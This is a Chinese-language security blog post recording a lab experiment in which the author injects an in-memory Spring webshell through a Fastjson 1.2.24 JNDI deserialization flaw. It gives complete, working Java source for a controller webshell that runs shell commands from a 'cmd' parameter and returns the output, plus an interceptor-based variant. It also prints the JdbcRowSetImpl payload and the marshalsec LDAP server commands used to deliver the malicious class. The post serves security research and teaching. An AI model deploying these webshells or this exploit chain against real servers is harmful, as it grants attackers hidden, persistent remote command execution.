利用Fastjson注入Spring内存马

渗透技巧 2年前 (2021) admin
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此篇文章在于记录自己对spring内存马的实验研究

一、环境搭建

搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller内存马。

1)组件版本:

fastjson: 1.2.24

spring-mvc: 4.3.28.RELEASE

JDK: 8u121

2)搭建springMVC+fastjson漏洞环境

可以参考网上的入门文章进行搭建,这里我放出我自己环境的配置文件

web.xml

<servlet>    <servlet-name>SpringMVC</servlet-name>    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>    <!--配置springmvc.xml的路径-->    <init-param>      <param-name>contextConfigLocation</param-name>      <param-value>classpath:springmvc.xml</param-value>    </init-param>  </servlet>  <servlet-mapping>    <servlet-name>SpringMVC</servlet-name>    <url-pattern>/</url-pattern>  </servlet-mapping></web-app>

springmvc.xml

<!--将AnnotationHandler自动扫描到IOC容器中-->    <context:component-scan base-package="test.controller"></context:component-scan>
<mvc:annotation-driven/>
<!--配置视图解析器--> <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <!--配置前缀--> <property name="prefix" value="/"></property> <!--配置后缀--> <property name="suffix" value=".jsp"></property> </bean>
</beans>

HelloController

@Controllerpublic class HelloController {    @ResponseBody    @RequestMapping(value = "/hello", method = RequestMethod.POST)    public Object hello(@RequestParam("code")String code) throws Exception {        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");        System.out.println(code);        Object object = JSON.parse(code);        return code + "->JSON.parseObject()->" + object;    }}

pom.xml

<dependency>  <groupId>com.alibaba</groupId>  <artifactId>fastjson</artifactId>  <version>1.2.24</version></dependency>
<dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope></dependency><!--SpringMVC依赖--><dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>4.3.28.RELEASE</version></dependency>

二、动态注册controller

在springMVC中,也可以在服务器程序启动后,利用某种方式实现动态加载controller。

1)获取上下文

在LandGrey文章中介绍了四种方法,分别是

方式一:getCurrentWebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

方法二:WebApplicationContextUtils


WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

方法三:RequestContextUtils


WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

方法四:getAttribute


WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);


而对于获取上下文来说,推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping实例

2)注册controller

使用registerMapping方法来动态注册我们的恶意controller

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中唯一的 Method 对象Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);

除了使用registerMapping方法注册controller外,还有其余的方式可以参考

https://landgrey.me/blog/12/


三、内存马

以下是大佬的内存马,接下来进行一个改动,使之能进行回显

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;
public class InjectToController { // 第一个构造函数 public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象 Method method2 = InjectToController.class.getMethod("test"); // 3. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环 InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // 第二个构造函数 public InjectToController(String aaa) {} // controller指定的处理方法 public void test() throws IOException{ // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); // 获取cmd参数并执行命令 java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")); }}


修改回显

把test代码中的内容替换为以下

// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exectry { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ //当请求没有携带指定的参数(code)时,返回 404 错误 response.sendError(404); }}catch (Exception e){}

最终内存马

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;
public class InjectToController { // 第一个构造函数 public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 2. 通过反射获得自定义 controller 中test的 Method 对象 Method method2 = InjectToController.class.getMethod("test"); // 3. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); // 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环 InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // 第二个构造函数 public InjectToController(String aaa) {} // controller指定的处理方法 public void test() throws IOException{ // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ //当请求没有携带指定的参数(code)时,返回 404 错误 response.sendError(404); } }catch (Exception e){} }}


四、测试

fastjson<=1.2.24的 payload:

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}


1)启动本地http服务,绑定端口8888


python3 -m http.server 8888


利用Fastjson注入Spring内存马


2)利用marshalsec启动LDAP服务,绑定端口9999


java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999


利用Fastjson注入Spring内存马


3)访问存在fastjson反序列化的页面,http://localhost:8080/hello


发送payload:


{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}


利用Fastjson注入Spring内存马


成功写入内存马

利用Fastjson注入Spring内存马


踩坑

在实验过程中,我发现主要有两个比较难解决的点,导致实验难以继续

1.怎么编译恶意class文件

可以看到,一个恶意类是有大量的依赖,如果直接采用javac编译会报错

-》javac InjectToController.javaInjectToController.java:16: 错误: 编码GBK的不可映射字符    // 绗竴涓瀯閫犲嚱鏁?                 ^InjectToController.java:19: 错误: 编码GBK的不可映射字符        // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean                              ^InjectToController.java:19: 错误: 编码GBK的不可映射字符        // 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean                                                                 ^


这时候可以利用idea自带的编译特性,先运行项目,然后在其项目的target目录中寻找编译后的class文件即可


利用Fastjson注入Spring内存马


2.可以弹出计算器,却无法注入内存马

直接进行debug后发现,在这一行代码会因为找不到RequestMappingHandlerMapping 的实例 bean而抛出异常

利用Fastjson注入Spring内存马


利用Fastjson注入Spring内存马


原因在于springmvc.xml文件中,没有开启<mvc:annotation-driven/>选项。

<mvc:annotation-driven/> 是为 MVC 提供额外的支持,参考 Spring 的官方文档,<mvc:annotation-driven/> 最主要的作用是注册 HandlerMapping(实现为 DefaultAnnotationHandlerMapping) 和 HandlerAdapter(实现为 AnnotationMethodHandlerAdapter) 两个类型的 Bean,这两个 Bean 为 @Controllers(所有控制器) 提供转发请求的功能。

而在Spring 3.1 开始及以后一般开始使用了新的RequestMappingHandlerMapping映射器。

五、后记

Interceptor内存马

其实不光是可以注入controller型的内存马,还可以注入Interceptor内存马

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter {    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {        // 获取context        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 从context中获取AbstractHandlerMapping的实例对象        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");        // 反射获取adaptedInterceptors属性        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        field.setAccessible(true);        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);        // 避免重复添加        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {                System.out.println("已经添加过TestInterceptor实例了");                return;            }        }        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免进入实例创建的死循环        adaptedInterceptors.add(aaa);  //  添加全局interceptor    }
private TestInterceptor(String aaa){}
@Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); // 不干扰正常业务逻辑 if (code != null) { java.lang.Runtime.getRuntime().exec(code); return true; } else { return true; }}}


注册效果:


利用Fastjson注入Spring内存马


六、参考

https://landgrey.me/blog/12/
https://www.cnblogs.com/bitterz/p/14820898.html
https://www.cnblogs.com/bitterz/p/14859766.html


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利用Fastjson注入Spring内存马

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